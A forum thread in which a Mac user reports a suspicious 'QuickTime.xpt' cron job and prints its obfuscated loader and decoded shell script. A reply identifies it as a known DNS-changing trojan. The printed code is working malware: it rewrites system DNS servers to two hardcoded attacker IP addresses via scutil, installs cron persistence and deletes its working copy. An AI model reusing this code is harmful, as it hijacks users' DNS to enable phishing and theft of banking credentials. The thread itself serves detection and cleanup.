QT Plugins mucking with DNS servers via scutil? Possible security issue?

Question

Does anyone know why I would have a QuickTime.xpt file that needs to be run as root via 'cron' every minute?
(* * * * * \"/Library/Internet Plug-Ins/QuickTime.xpt\">/dev/null 2>&1)
The script itself is looks up 'PrimaryService' ID in State:/Network/Global/IPv4 and then creates entries for State:/Network/Service/<PrimaryServiceID>/DNS for 2 server addresses.
The current value of these addresses is:
85.225.113.141 c-8d71e155.11-500-64736c10.cust.bredbandsbolaget.se
85.225.112.232 ua-85-225-112-132.cust.bredbandsbolaget.se.
The other 'flakey' thing about this script is that it's crudely encrypted via:
#!/bin/sh
x=`cat "$0" |wc -l|awk '{print $1}'`;x=`expr $x - 2`;tail -$x "$0" |tr vdehrujzpbqafwtgkxyilcnos upxmfqrzibdanwgkethlcyosv>1;s1=cx.zxx.aaw.asa;s2=cx.zxx.aaz.zwz;sh 1 `echo $s1|tr qazwsxedcr 0123456789` `echo $s2| tr qazwsxedcr 0123456789`;exit;
#!/bpf/oy
daxy="/Lpbjajc/Ifxkjfkx Pivt-Ifo"
PSID=$( (/voj/obpf/olvxpi | tjkd PjphajcSkjsplk | okq -k 'o/.*PjphajcSkjsplk : //')<< EOF
Which translates to:
#!/bin/sh
path="/Library/Internet Plug-Ins"
PSID=$( (/usr/sbin/scutil | grep PrimaryService | sed -e 's/.*PrimaryService : //')<< EOF
open
get State:/Network/Global/IPv4
d.show
quit
EOF
/usr/sbin/scutil << EOF
open
d.init
d.add ServerAddresses * $1 $2
set State:/Network/Service/$PSID/DNS
quit
EOF
exist=`crontab -l|grep QuickTime.xpt`
if [ "$exist" == "" ]; then
echo "* * * * * \"$path/QuickTime.xpt\">/dev/null 2>&1" > cron.inst
crontab cron.inst
rm -rf cron.inst
fi
rm -rf "$0"
I am apparently not the only one who has seen this, but no one has posted anything definitively about what this came from, and why it is there. I'm inclined to both delete the script and remove the crontab entry, but want to make sure that some obscure Quicktime or other plug-in doesn't require it. I suspect that the "QuickTime.xpt" name is a smoke screen to make the unaware user THINK that it is an Apple specified file.
This may not be posted in the proper forum, so I will be reposting it under Networking and Mac OSX Leopard, since I've only seen it on my 10.5 system. (Hmmm. Shouldn't there be a security section somewhere?)

Answer 1

Duh! Never mind.
Took me less time to check the net via Google and determine it's a known 'trojan' attempt, than it took me to type up the question intelligently.
Well, at least it's now on Record in the Apple forums somewhere. Moderators, feel free to delete these two posts, or move them to the most appropriate forum.
"In OS X 10.5, your DNS entries will be altered to point to a malicious server to handle further requests. This can be disastrous if you are using Paypal, your online bank controls, or any other heavily phished targets."
Of course, it is only spurious, since a look at my routing table has never shown it pointing to these two servers. Might be the cause of some intermittent problems, but haven't seen any problems.
Time to change passwords just in case.